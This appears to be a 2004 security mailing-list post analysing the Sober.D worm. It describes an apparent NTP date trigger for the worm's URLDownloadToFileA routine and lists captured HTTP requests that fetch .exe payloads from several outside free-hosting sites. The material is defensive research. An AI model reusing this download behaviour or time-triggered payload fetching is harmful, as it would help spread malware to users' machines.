Message-ID: <45FCD7CD775DD411B4C100508B691BBB08F55D47@WARE-MAIL> From: EvgenyP at Radware.com (Evgeny Pinchuk) Subject: Sober.D URLDownloadToFileA Function. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 These who disassembled Sober.D binary must have noticed the URLDownloadToFileA function. This function is triggered after some specific date I assume. My assumption relies on NTP queries that Sober.D is sending. After creating a NTP server which will give random time I noticed that after specific reply Sober.D started to download files using different URIs on 3 hosts. The response (which triggered the URLDownloadToFileA function) that my NTP server sent was |d5 93 4c 40| which is 5:40:05 PM 3/8/2004. Here are some examples of HTTP requests that Sober.D made: GET /myfirstpage/my.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: home.arcor.de Connection: Keep-Alive GET /losdanielos/los.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: home.arcor.de Connection: Keep-Alive GET /stefanie-on-web/stef.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: home.arcor.de Connection: Keep-Alive GET /myfreeweb/gh.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: people.freenet.de Connection: Keep-Alive GET /dannys-page/dann.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: people.freenet.de Connection: Keep-Alive GET /stefis_seite/test.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: scifi.pages.at Connection: Keep-Alive GET /claudine/de.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: scifi.pages.at Connection: Keep-Alive I tried to follow these URLs but the files just weren't there. Now I'm not sure that there is a connection between NTP and HTTP requests but the HTTP requests started to come 1 second after the last NTP request. I would like to hear your comments on this issue. Good day, Evgeny. -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.3 iQA/AwUBQE3LeD0z9OkavlhjEQIBtwCg0n5aUcLLVyKPUrkZvZOLB3x4Vi8AoPww JBKWA9Ufa8tEgx8ZKTDYw7Ri =T67H -----END PGP SIGNATURE----- -------------- next part -------------- An HTML attachment was scrubbed...
